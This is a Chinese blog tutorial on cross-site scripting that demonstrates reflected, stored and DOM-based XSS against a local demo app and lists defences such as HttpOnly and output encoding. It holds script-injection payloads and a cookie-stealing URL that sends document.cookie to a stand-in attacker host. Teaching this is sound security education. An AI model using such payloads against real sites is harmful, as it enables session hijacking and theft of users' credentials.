Web安全 之 XSS攻击

2017-11-20  本文已影响83人  Instincts

本文演示 Demo 的代码地址: XSS

XSS简介

跨站脚本攻击,英文全称是 Cross Site Script,本来缩写是 CSS,但是为了和层叠样式表(Cascading Style Sheets,CSS)有所区别,所以在安全领域叫做 “XSS”。是 Web 安全头号大敌。
XSS攻击,通常指黑客通过 “HTML注入” 篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

XSS 根据效果的不同可以分为三类

接下来会通过 Demo 进行演示,运行 Demo 前安装需 Node 和 MongoDB,具体如何安装不在这里详细介绍了。
在终端里执行如下脚本

git clone https://git.coding.net/yuan285150759/web-tutorial.git

cd web-tutorial/xss && npm i && npm start

然后在浏览器中打开 http://localhost:3000/
可以看到一个简单的文章管理页面

文章管理
先新增几篇文章测试一下功能,若如下图所示,则没有问题 ~
新增文章
接下来开始演示不同类型的 XSS攻击
反射型 XSS

反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器。也叫做 “非持久型 XSS”。
我们在搜索框内输入 “袁大师又出新书啦” 时,列表中会展示


有搜索结果

当搜索 “XSS ” 时,列表中会展示


无搜索结果
此时程序都是正常的,接下来我们再搜索框输入下面内容进行搜索时
<script>alert("xss") ;</script>

列表中会展示


反射型 XSS

这就是一个简单的反射型 XSS啦。

存储型 XSS

存储型 XSS 会把用户输入的数据“存储”在服务器端。也叫做 “持久型 XSS”(Persistent XSS)。
当我们新增一个名字为下面内容的文章时

XSS <script>alert("xss") ;</script>

列表中会展示和上图一样的效果,并且我们每次刷新页面时都会弹出弹框。如果这真的是放在公网上的一个页面,那么其他人每次打开这个页面也会弹出弹框。赶紧把 “XSS” 这篇文章删掉吧 ~
这就是一个简单的存储型 XSS啦。

DOM Based XSS

通过修改页面的 DOM 节点形成的 XSS,称之为 DOM Based XSS。
当我们新增一个名字为下面内容的文章时

XSS<script>document.getElementById('title').innerHTML = "<a href='https://github.com/zeaho-frontend/seminar'>xss</a>";</script>

页面中会展示


DOM Based XSS

可以看到文章的标题已经被修改了,点击标题会跳转到一个新的页面哦 ~
这就是一个简单的 DOM Based XSS 啦。

Cookie 劫持

一个最常见的 XSS 攻击 就是盗取用户的 Cookie,从而发起 Cookie 劫持攻击。Cookie 中,一般会保存当前用户的登录凭证,如果 Cookie 被黑客盗取,以为着黑客有可能通过 Cookie 直接登进用户的账户,进行恶意操作。
例如诱使别人点击一个网址

http://zeaho.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

如果受骗的用户刚好已经登录过 zeaho.com,那么,用户的登录 Cookie 信息就已经发到了攻击者的服务器(xss.com)了。

XSS 的防御

使用 HttpOnly

浏览器禁止页面的JavaScript访问带有 HttpOnly 属性的 Cookie。

输入检查
输出检查

HtmlEncode、JavascriptEncode、XMLEncode、JSONEncode等。

框架

大部分的 XSS 漏洞可以在模板系统中解决。

参考

《白帽子讲Web安全》

上一篇 下一篇

猜你喜欢

热点阅读